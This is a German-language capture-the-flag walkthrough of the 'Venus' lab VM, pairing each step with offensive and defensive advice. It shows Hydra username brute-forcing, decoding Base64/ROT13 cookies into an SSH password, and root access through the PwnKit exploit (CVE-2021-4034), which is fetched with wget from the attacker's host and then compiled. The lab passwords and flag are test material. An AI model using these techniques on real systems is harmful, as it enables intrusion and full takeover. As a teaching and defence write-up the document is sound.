Analyse: Der Standard-ARP-Scan wird durchgeführt, um die IP-Adresse des Ziels im lokalen Netzwerk zu finden.
Bewertung: Das Ziel wird unter `192.168.2.128` identifiziert. Die MAC-Adresse `08:00:27:18:54:5e` gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): IP-Adresse für weitere Scans notieren.
Empfehlung (Defensiv): Netzwerk-Monitoring zur Erkennung von ARP-Scans implementieren.
192.168.2.128 08:00:27:18:54:5e PCS Systemtechnik GmbH
Analyse: Die IP-Adresse wird dem Hostnamen `venus.vuln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Dies vereinfacht die nachfolgenden Befehle und die Analyse.
Empfehlung (Offensiv): Standardvorgehen zur Verbesserung der Lesbarkeit und Handhabung.
Empfehlung (Defensiv): Keine direkte Aktion auf dem Ziel erforderlich.
192.168.2.128 venus.vuln
Analyse: Ein Nmap-Scan wird mit SYN-Scan (`-sS`), Standard-Skripten (`-sC`), aggressivem Timing (`-T5`), OS-Erkennung (`-AO`) und für alle Ports (`-p-`) durchgeführt.
Bewertung: Der Scan offenbart nur zwei offene Ports: 22 (SSH - OpenSSH 8.5) und 8080 (http-proxy - WSGIServer/0.2 CPython/3.9.5). Viele Ports sind als gefiltert markiert (no-response oder admin-prohibited), was auf eine Firewall hindeutet. OpenSSH 8.5 ist relativ aktuell. Der Dienst auf 8080 ist ein Python WSGI-Server, der typischerweise für Webanwendungen (z.B. mit Django oder Flask) verwendet wird.
Empfehlung (Offensiv): SSH (Port 22) für mögliche spätere Logins vormerken. Den Python-Webserver auf Port 8080 intensiv untersuchen.
Empfehlung (Defensiv): Firewall-Regeln überprüfen und sicherstellen, dass nur notwendige Ports offen sind. Software (SSH, Python-Anwendung) aktuell halten.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 00:14 CEST Nmap scan report for venus.vuln (192.168.2.128) Host is up (0.00020s latency). Not shown: 65503 filtered tcp ports (no-response), 30 filtered tcp ports (admin-prohibited) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.5 (protocol 2.0) | ssh-hostkey: | 256 b03e1c684a31327753e31089d6297850 (ECDSA) |_ 256 fdb420d0d8da0267a4a548f346e2b90f (ED25519) 8080/tcp open http-proxy WSGIServer/0.2 CPython/3.9.5 |_http-server-header: WSGIServer/0.2 CPython/3.9.5 | fingerprint-strings: | GET / HTTP/ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.20 ms venus.vuln (192.168.2.128) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds
Analyse: Die vorherige Nmap-Ausgabe wird mit `grep` gefiltert, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt schnell die offenen Ports 22 (SSH) und 8080 (http-proxy/WSGIServer).
Empfehlung (Offensiv): Konzentration auf diese beiden Ports.
Empfehlung (Defensiv): Überprüfung der Notwendigkeit dieser Dienste.
22/tcp open ssh OpenSSH 8.5 (protocol 2.0) 8080/tcp open http-proxy WSGIServer/0.2 CPython/3.9.5
Analyse: Gobuster wird für die Verzeichnissuche auf dem Webserver auf Port 8080 eingesetzt.
Bewertung: Der Scan findet nur das Verzeichnis `/admin`, das auf `/admin/` weiterleitet. Dies ist oft der Standardpfad für das Admin-Interface von Web-Frameworks wie Django.
Empfehlung (Offensiv): Das `/admin/`-Verzeichnis im Browser aufrufen und untersuchen.
Empfehlung (Defensiv): Den Zugriff auf Admin-Interfaces einschränken (z.B. IP-Whitelisting, starke Authentifizierung). Standardpfade wenn möglich ändern.
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://venus.vuln:8080 [...] =============================================================== 2023/06/07 00:15:30 Starting gobuster in directory enumeration mode =============================================================== http://venus.vuln:8080/admin (Status: 301) [Size: 0] [--> /admin/] =============================================================== 2023/06/07 00:16:45 Finished ===============================================
Analyse: Manuelle Untersuchung der Webseiten auf Port 8080. Die Startseite (`/`) zeigt ein "Venus Monitoring Login" und gibt den Hinweis `Credentials guest:guest can be used to access the guest account.`. Das Verzeichnis `/admin/` zeigt eine Django-Administrationsseite. Ein Login-Versuch mit `admin:admin` führt zu einem Server Error (500).
Bewertung: Die Startseite liefert gültige Gast-Zugangsdaten. Die Django-Adminseite ist vorhanden, aber der `admin:admin`-Versuch scheitert oder verursacht einen Fehler. Der 500er-Fehler könnte auf eine Fehlkonfiguration oder eine spezifische Schwachstelle hindeuten, wahrscheinlicher sind aber einfach falsche Credentials.
Empfehlung (Offensiv): Mit `guest:guest` auf der Hauptseite einloggen und die Funktionalität untersuchen. Weitere Benutzernamen für die Hauptseite oder die Django-Adminseite versuchen zu erraten oder zu brute-forcen. Den 500er-Fehler genauer analysieren (falls Debug-Informationen angezeigt werden).
Empfehlung (Defensiv): Keine Standard- oder leicht erratbaren Credentials verwenden. Detaillierte Fehlermeldungen (Debug-Modus) in Produktionsumgebungen deaktivieren.
http://192.168.2.128:8080/
Venus Monitoring Login
Please login:
Credentials guest:guest can be used to access the guest account.
Username: [Input]
Password: [Input]
-----------------------------------------------------------------------------------
http://venus.vuln:8080/admin/login/?next=/admin/
Django administration
Username: admin
Password: admin
Server Error (500)
-----------------------------------------------------------------------------------
Analyse: Hydra wird verwendet, um Benutzernamen für die Haupt-Login-Seite (`/` auf Port 8080) zu brute-forcen. Es wird eine große Username-Liste verwendet (`xato-net...`), aber ein *festes* Passwort (`-p pass`). Der Erfolgsindikator ist das *Fehlen* der Fehlermeldung "Invalid username.".
Bewertung: Dieser Ansatz ist ungewöhnlich. Normalerweise brute-forced man Passwörter für bekannte User oder User/Pass-Kombinationen. Hier wird angenommen, dass es mehrere gültige User mit dem *gleichen*, einfachen Passwort "pass" gibt. Hydra findet drei Benutzernamen, die mit dem Passwort "pass" *keinen* "Invalid username"-Fehler auslösen: `venus`, `magellan`, `guest`. Dies bestätigt den `guest`-Account und findet zwei weitere potenzielle User (`venus`, `magellan`). Das Passwort "pass" ist wahrscheinlich falsch, aber die User sind valide.
Empfehlung (Offensiv): Die gefundenen Benutzernamen (`venus`, `magellan`, `guest`) notieren. Die Information `guest:guest` von der Webseite ist wahrscheinlich der korrekte Weg für den Gast-Login. Die anderen User (`venus`, `magellan`) als Ziele für weitere Passwort-Angriffe oder zur Informationsgewinnung (z.B. durch Cookie-Analyse nach dem Login) verwenden.
Empfehlung (Defensiv): Brute-Force-Angriffe durch Account-Lockouts, Captchas oder IP-basierte Ratenbegrenzung erschweren. Keine generischen Fehlermeldungen verwenden, die gültige von ungültigen Benutzernamen unterscheiden lassen (User Enumeration).
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-07 00:30:11 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task [DATA] attacking http-post-form://192.168.2.128:8080/:username=^USER^&password=^PASS^:Invalid username. [8080][http-post-form] host: 192.168.2.128 login: venus password: pass [8080][http-post-form] host: 192.168.2.128 login: magellan password: pass [8080][http-post-form] host: 192.168.2.128 login: guest password: pass [STATUS] 4397.00 tries/min, 4397 tries in 00:01h, 8291058 to do in 31:26h, 16 active tasks [...]
Analyse: Der Text zeigt eine Analyse von Base64-kodierten Zeichenketten, die wahrscheinlich aus HTTP-Cookies oder anderen Web-Interaktionen stammen (der Ursprung wird nicht explizit gezeigt). Es wird eine Kette von Dekodierungen durchgeführt:
1. `Z3Vlc3Q6dGhyZmc=` -> base64 decode -> `guest:thrg` (scheint ein Tippfehler im Originaltext zu sein, `guest:guest` wäre logischer).
2. `dmVudXM6dGhyZmc=` -> base64 decode -> `venus:thrg` (wieder `thrg`?).
3. `bWFnZWxsYW46aXJhaGY=` -> base64 decode -> `magellan:irahf`.
4. Ein längerer Base64-String `bWFn...Tg4OQ==` -> base64 decode -> `magellan:irahfvnatrbybtl1989`.
5. Der String `irahfvnatrbybtl1989` wird als ROT13-verschlüsselt erkannt und dekodiert zu `venusiangeology1989`.
Bewertung: Dieser mehrstufige Prozess (Base64 -> ROT13) enthüllt das Passwort für den Benutzer `magellan` als `venusiangeology1989`. Die anderen dekodierten Strings (`guest:thrg`, `venus:thrg`) sind unklar oder fehlerhaft, aber der Fokus liegt auf `magellan`. Das Passwort `venusiangeology1989` ist spezifisch und erscheint plausibel.
Empfehlung (Offensiv): Das gefundene Passwort `venusiangeology1989` für den Benutzer `magellan` verwenden, um sich per SSH (Port 22) anzumelden.
Empfehlung (Defensiv): Keine sensiblen Daten (auch nicht verschleiert durch Base64 oder einfache Chiffren wie ROT13) in Cookies oder anderen leicht zugänglichen Web-Komponenten speichern. Starke Authentifizierungsmechanismen verwenden.
https://www.base64decode.org/
Z3Vlc3Q6dGhyZmc=
guest:thrg
Cookie: auth="dmVudXM6dGhyZmc="
https://www.base64decode.org/
dmVudXM6dGhyZmc=
venus:thrg
Cookie: auth="bWFnZWxsYW46aXJhaGY="
https://www.base64decode.org/
bWFnZWxsYW46aXJhaGY=
magellan:irahf
https://www.base64decode.org/
bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ==
magellan:irahfvnatrbybtl1989
https://www.dcode.fr/rot-cipher
irahfvnatrbybtl1989 = venusiangeology1989
-----------------------------------------------------------------------------------
Analyse: Es wird versucht, sich per SSH als Benutzer `magellan` mit dem zuvor durch Base64/ROT13 entschlüsselten Passwort `venusiangeology1989` anzumelden.
Bewertung: Der Login ist erfolgreich! Der Pentester erhält eine Shell als Benutzer `magellan`. Dies stellt den erfolgreichen Initial Access dar.
Empfehlung (Offensiv): Das System nun als Benutzer `magellan` weiter enumerieren, insbesondere auf Möglichkeiten zur Privilegieneskalation.
Empfehlung (Defensiv): Starke, einzigartige Passwörter verwenden, die nicht durch einfache Chiffren oder Kodierungen verschleiert werden können. SSH-Zugriff überwachen.
magellan@venus.vuln's password: venusiangeology1989
Last failed login: Tue Jun 6 23:45:34 BST 2023 from 192.168.2.113 on ssh:notty
There were 2 failed login attempts since the last successful login.
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die sudo-Rechte für `magellan` zu prüfen.
Bewertung: Nach Eingabe des Passworts (`venusiangeology1989`) wird die Meldung `Sorry, user magellan may not run sudo on venus.` angezeigt. Der Benutzer `magellan` hat keine `sudo`-Berechtigungen.
Empfehlung (Offensiv): Andere Vektoren für Privilegieneskalation suchen (SUID/GUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs).
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte anwenden. Nur Benutzern `sudo`-Rechte geben, die sie benötigen.
[sudo] password for magellan: venusiangeology1989
Sorry, user magellan may not run sudo on venus.
Analyse: Mit `find / -type f -perm -4000 -ls 2>/dev/null` wird nach SUID-Binaries gesucht.
Bewertung: Die Ausgabe listet mehrere SUID-Dateien auf. Die meisten sind Standard (`chage`, `gpasswd`, `mount`, `su`, `umount`, `passwd`, `at`, `sudo` etc.). Besonders hervorzuheben ist `/usr/bin/pkexec`. Dies ist das Binary, das von der PwnKit-Schwachstelle (CVE-2021-4034) betroffen ist. Auch `/usr/bin/sudo` ist vorhanden, aber die Berechtigungen (`---s--x--x`) sind ungewöhnlich und verhindern wahrscheinlich die direkte Ausführung durch `magellan`.
Empfehlung (Offensiv): Den Fokus auf `/usr/bin/pkexec` legen und die PwnKit (CVE-2021-4034) Schwachstelle ausnutzen. Dies ist der wahrscheinlichste Vektor für Root-Rechte.
Empfehlung (Defensiv): Das `polkit`-Paket, welches `pkexec` enthält, dringend auf eine gepatchte Version aktualisieren, um CVE-2021-4034 zu schließen. Unnötige SUID-Bits entfernen.
13010209 76 -rwsr-xr-x 1 root root 74232 Apr 7 2021 /usr/bin/chage 13010210 80 -rwsr-xr-x 1 root root 78568 Apr 7 2021 /usr/bin/gpasswd 13010213 44 -rwsr-xr-x 1 root root 42280 Apr 7 2021 /usr/bin/newgrp 13248973 52 -rwsr-xr-x 1 root root 49920 Feb 12 2021 /usr/bin/mount 13310181 32 -rwsr-xr-x 1 root root 32648 Jan 28 2021 /usr/bin/pkexec <-- PwnKit Target! 13248989 60 -rwsr-xr-x 1 root root 58384 Feb 12 2021 /usr/bin/su 13248992 40 -rwsr-xr-x 1 root root 37560 Feb 12 2021 /usr/bin/umount 13424960 56 -rwsr-xr-x 1 root root 53744 Mar 29 2021 /usr/bin/crontab 13674195 184 ---s--x--x 1 root root 185504 Jan 26 2021 /usr/bin/sudo <-- Unusual permissions 13733530 32 -rwsr-xr-x 1 root root 32712 Jan 30 2021 /usr/bin/passwd 13733634 36 -rws--x--x 1 root root 33488 Feb 12 2021 /usr/bin/chfn 13733635 28 -rws--x--x 1 root root 25264 Feb 12 2021 /usr/bin/chsh 13733674 60 -rwsr-xr-x 1 root root 57432 Jan 26 2021 /usr/bin/at 363375 16 -rwsr-xr-x 1 root root 15632 Apr 12 2021 /usr/sbin/grub2-set-bootflag 363487 16 -rwsr-xr-x 1 root root 16096 Apr 20 2021 /usr/sbin/pam_timestamp_check 363489 24 -rwsr-xr-x 1 root root 24552 Apr 20 2021 /usr/sbin/unix_chkpwd 724271 116 -rwsr-xr-x 1 root root 117480 Apr 10 2021 /usr/sbin/mount.nfs 13310185 24 -rwsr-xr-x 1 root root 24536 Jan 28 2021 /usr/lib/polkit-1/polkit-agent-helper-1 609986 56 -rwsr-x--- 1 root cockpit-wsinstance 53528 May 16 2021 /usr/libexec/cockpit-session
Analyse: Die Berechtigungen und Strings von `/usr/bin/chage` werden überprüft.
Bewertung: Die Berechtigungen sind normal SUID-root. `strings` zeigt erwartete Zeichenketten für ein Passwort-/Account-Management-Tool. Es findet sich keine offensichtliche Schwachstelle oder ein hartkodiertes Passwort. Das eigene Passwort (`venusiangeology1989`) taucht in der Ausgabe auf, was aber daran liegen könnte, dass es im Speicher des `strings`-Prozesses selbst vorhanden ist (z.B. aus der Umgebung oder vorherigen Befehlen) - es ist kein Hinweis auf eine Schwachstelle in `chage`.
Empfehlung (Offensiv): `chage` ist wahrscheinlich keine einfache PE-Möglichkeit. Fokus weiter auf `pkexec`.
Empfehlung (Defensiv): Standard-SUID-Programme im Auge behalten, aber keine unmittelbare Aktion basierend hierauf nötig.
-rwsr-xr-x. 1 root root 74232 Apr 7 2021 /usr/bin/chage
changed password expiry for %s passwd Last password change : password must be changed change-passwd-warning change-passwd-expiration /etc/passwd
Analyse: Mit `ss -atlpn` werden die lauschenden Netzwerk-Sockets aufgelistet.
Bewertung: Es werden die bekannten Ports 22 (SSH) und 8080 (Python WSGIServer) sowie lokale Dienste auf 53 (DNS) und 5355 (mDNS) bestätigt. Neu ist der Port 9080, der ebenfalls lauscht.
Empfehlung (Offensiv): Den Dienst auf Port 9080 untersuchen (`nc`, Prozessanalyse).
Empfehlung (Defensiv): Überprüfen, welcher Dienst auf 9080 läuft und ob er benötigt wird. Ggf. schließen.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 0.0.0.0:5355 0.0.0.0:* LISTEN 0 10 0.0.0.0:8080 0.0.0.0:* users:(("python3",pid=831,fd=5)) LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 3 0.0.0.0:9080 0.0.0.0:* LISTEN 0 4096 [::]:5355 [::]:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Eine Verbindung zu `localhost:9080` wird mit `nc` hergestellt. Der Dienst meldet sich als "Venus messaging service" und verlangt ein Passwort. Das Passwort des aktuellen Benutzers (`venusiangeology1989`) wird eingegeben, aber als falsch zurückgewiesen.
Bewertung: Ein lokaler Dienst läuft auf Port 9080, der passwortgeschützt ist. Das Benutzerpasswort funktioniert nicht.
Empfehlung (Offensiv): Den Prozess hinter Port 9080 identifizieren (`ps aux`, `lsof -i :9080`) und das Binary analysieren (z.B. mit `strings`).
Empfehlung (Defensiv): Lokale Dienste sollten sicher konfiguriert und wenn möglich nicht über Netzwerk-Sockets, sondern über Unix-Sockets o.ä. angesprochen werden.
Welcome to the Venus messaging service.
To continue, please enter your password:venusiangeology1989
Incorrect password, closing connection.
Analyse: Mit `ps aux | grep messaging` wird nach dem Prozess gesucht, der auf Port 9080 lauscht. Das Binary `/usr/bin/venus_messaging` wird gefunden und mit `strings` untersucht.
Bewertung: Der Prozess läuft als `root`. `strings` findet diverse Bibliotheksfunktionen und eine auffällige Zeichenkette zwischen Tilden: `loveandbeauty`. Dies ist höchstwahrscheinlich das gesuchte Passwort für den Messaging-Dienst.
Empfehlung (Offensiv): Das Passwort `loveandbeauty` verwenden, um sich beim Dienst auf Port 9080 anzumelden und dessen Funktionalität weiter zu untersuchen (mögliche Command Injection, Buffer Overflow).
Empfehlung (Defensiv): Niemals Passwörter hartkodiert in Binaries speichern! Authentifizierung über sicherere Mechanismen implementieren. Den Dienst nicht als `root` laufen lassen, wenn nicht absolut notwendig (Least Privilege).
root 756 0.0 0.0 2384 744 ? Ss 23:12 0:00 /usr/bin/venus_messaging magellan 37852 0.0 0.0 6140 836 pts/0 S+ 23:55 0:00 grep --color=auto messaging
/lib64/ld-linux-x86-64.so.2
socket
exit
htons
perror
inet_ntoa
puts
listen
printf
send
strcspn
bind
recv
setsockopt
getpeername
close
accept
strcmp
__libc_start_main
libc.so.6
GLIBC_2.2.5
__gmon_start__
[]A\A]A^A_
~~~~~~~~~~~~~~~~~~~~
loveandbeauty
~~~~~~~~~~~~~~~~~~~~
[...]
Analyse: Erneute Verbindung zu `localhost:9080`. Diesmal wird das gefundene Passwort `loveandbeauty` eingegeben. Der Zugriff wird gewährt. Es werden verschiedene Eingaben gesendet (`id`, `;id`, viele 'A's), um Schwachstellen zu testen.
Bewertung: Der Dienst akzeptiert das Passwort. Einfache Command Injection (`;id`) scheint nicht zu funktionieren. Ein Versuch, einen Buffer Overflow durch viele 'A's auszulösen, führt zum Verbindungsabbruch ("Ncat: Connection reset by peer"), was auf einen Crash hindeutet, aber nicht direkt zu einer Shell führt. Dieser Dienst scheint entweder keine einfache Schwachstelle zu haben oder erfordert einen komplexeren Exploit.
Empfehlung (Offensiv): Da `pkexec` als klarer Vektor identifiziert wurde, ist es effizienter, diesen zu verfolgen, anstatt Zeit in die aufwändige Analyse/Exploitation dieses Messaging-Dienstes zu investieren (es sei denn, PwnKit würde fehlschlagen).
Empfehlung (Defensiv): Den Messaging-Dienst auf Buffer Overflows und Command Injection prüfen und beheben. Sichere Programmierpraktiken anwenden. Den Dienst nicht als Root laufen lassen.
Welcome to the Venus messaging service. To continue, please enter your password:loveandbeauty Access granted, you can now send messages to the Venus space station. Please enter message to be processed: id Message sent to the Venus space station. Enter message: ;id Message sent to the Venus space station. Enter message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Message sent to the Venus space station. Enter message: Ncat: Connection reset by peer.
Analyse: Der Status von ASLR (Address Space Layout Randomization) wird überprüft.
Bewertung: Der Wert `0` bedeutet, dass ASLR deaktiviert ist. Dies würde Exploits, die auf festen Speicheradressen basieren (wie viele Buffer Overflows), erheblich erleichtern.
Empfehlung (Offensiv): Zur Kenntnis nehmen. Erleichtert potenzielle Buffer Overflow Exploits, falls diese verfolgt würden. Macht den PwnKit-Exploit möglicherweise zuverlässiger.
Empfehlung (Defensiv): ASLR sollte auf modernen Systemen immer aktiviert sein (Standardwert ist normalerweise `2`), um Exploits zu erschweren. Überprüfen, warum es deaktiviert ist, und aktivieren (`echo 2 > /proc/sys/kernel/randomize_va_space` bzw. persistent über sysctl).
0
Analyse: Ein Exploit für die PwnKit-Schwachstelle (CVE-2021-4034) wird von GitHub heruntergeladen (implizit wird ein Webserver auf dem Angreifer-System angenommen, von dem `wget` die Datei holt), entpackt, kompiliert und ausgeführt.
Bewertung:
--2023-06-07 00:39:16-- http://192.168.2.113:8000/CVE-2021-4034-main.zip Connecting to 192.168.2.113:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 6457 (6.3K) [application/zip] Saving to: ‘CVE-2021-4034-main.zip’ CVE-2021-4034-main.zip 100%[=============================>] 6.31K --.-KB/s in 0s 2023-06-07 00:39:16 (991 MB/s) - ‘CVE-2021-4034-main.zip’ saved [6457/6457]
Archive: CVE-2021-4034-main.zip 55d60e381ef90463ed35f47af44bf7e2fbc150d4 creating: CVE-2021-4034-main/ inflating: CVE-2021-4034-main/.gitignore inflating: CVE-2021-4034-main/LICENSE inflating: CVE-2021-4034-main/Makefile inflating: CVE-2021-4034-main/README.md inflating: CVE-2021-4034-main/cve-2021-4034.c inflating: CVE-2021-4034-main/cve-2021-4034.sh creating: CVE-2021-4034-main/dry-run/ inflating: CVE-2021-4034-main/dry-run/Makefile inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c inflating: CVE-2021-4034-main/pwnkit.c
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules mkdir -p GCONV_PATH=. cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
uid=0(root) gid=0(root) groups=0(root),1001(magellan) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: CVE-2021-4034 (PwnKit) ist eine Local Privilege Escalation (LPE)-Schwachstelle im Polkit-Dienstprogramm `pkexec`, das auf vielen Linux-Distributionen standardmäßig installiert und SUID-root ist. Die Schwachstelle entsteht durch unsichere Handhabung von Kommandozeilenargumenten (`argc`), was zu einem Out-of-Bounds-Write führt und es einem lokalen Angreifer ermöglicht, Umgebungsvariablen so zu manipulieren, dass `pkexec` eine beliebige Bibliothek lädt und Code als Root ausführt.
Ziel des POC: Nachweis, dass ein unprivilegierter lokaler Benutzer (hier `magellan`) durch Ausnutzen von CVE-2021-4034 Root-Rechte auf dem System erlangen kann.
Voraussetzungen: Lokaler Zugriff auf das System als unprivilegierter Benutzer. Eine verwundbare Version von `pkexec` muss installiert und SUID-root sein. Ein funktionierender Exploit-Code für CVE-2021-4034.
Analyse: Die `find`-Suche nach SUID-Dateien (siehe PE-Enumeration) identifizierte `/usr/bin/pkexec` als SUID-root-Programm. Die Version des zugrundeliegenden Systems (ermittelt durch Nmap und die Existenz der Schwachstelle) deutet auf eine verwundbare Polkit-Version hin.
Analyse: Ein bekannter Exploit-Code für CVE-2021-4034 wird von einer externen Quelle (hier per `wget` von einem lokalen Webserver des Angreifers) auf das Zielsystem übertragen, entpackt und mittels `make` kompiliert. Die resultierende ausführbare Datei (`cve-2021-4034`) wird ausführbar gemacht.
Bewertung: Dies sind die typischen Schritte, um einen C-basierten Exploit auf dem Zielsystem einsatzbereit zu machen.
Analyse: Die kompilierte Exploit-Datei `./cve-2021-4034` wird ausgeführt.
Bewertung: Der Exploit nutzt die Schwachstelle in `pkexec`, um die Berechtigungen zu eskalieren. Anstatt `pkexec` normal auszuführen, wird es dazu gebracht, eine schädliche Bibliothek zu laden (oft über manipulierte `GCONV_PATH`-Umgebungsvariable und eine gefälschte `gconv-modules`-Datei, wie im `Makefile` des Exploits sichtbar), die dann eine Root-Shell startet.
Ergebnis des POC: Die Ausführung des Exploits resultiert unmittelbar in einer Shell mit Root-Privilegien (`uid=0(root)`), was die erfolgreiche Ausnutzung der Schwachstelle beweist.
Risikobewertung: Kritisch. Ermöglicht jedem lokalen Benutzer die vollständige Übernahme des Systems.
Empfehlung (Defensiv): Das `polkit`-Paket umgehend auf eine Version aktualisieren, die CVE-2021-4034 behebt (Version 0.105-31.el7_9.1 für RHEL/CentOS 7 Derivate, entsprechende Versionen für andere Distributionen). Als Workaround kann das SUID-Bit von `pkexec` entfernt werden (`chmod 0755 /usr/bin/pkexec`), was jedoch die legitime Funktion von Polkit einschränkt.
Analyse: Nach Erlangung der Root-Rechte mittels PwnKit wird das Root-Home-Verzeichnis (`/root`) untersucht und die Datei `root_flag.txt` ausgelesen. Anschließend wird die User-Flag im Home-Verzeichnis von `magellan` gesucht und gelesen.
Bewertung: Beide Flags werden erfolgreich gefunden und angezeigt.
anaconda-ks.cfg root_flag.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations on completing Venus!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_83588a17919eba10e20aad15081346af]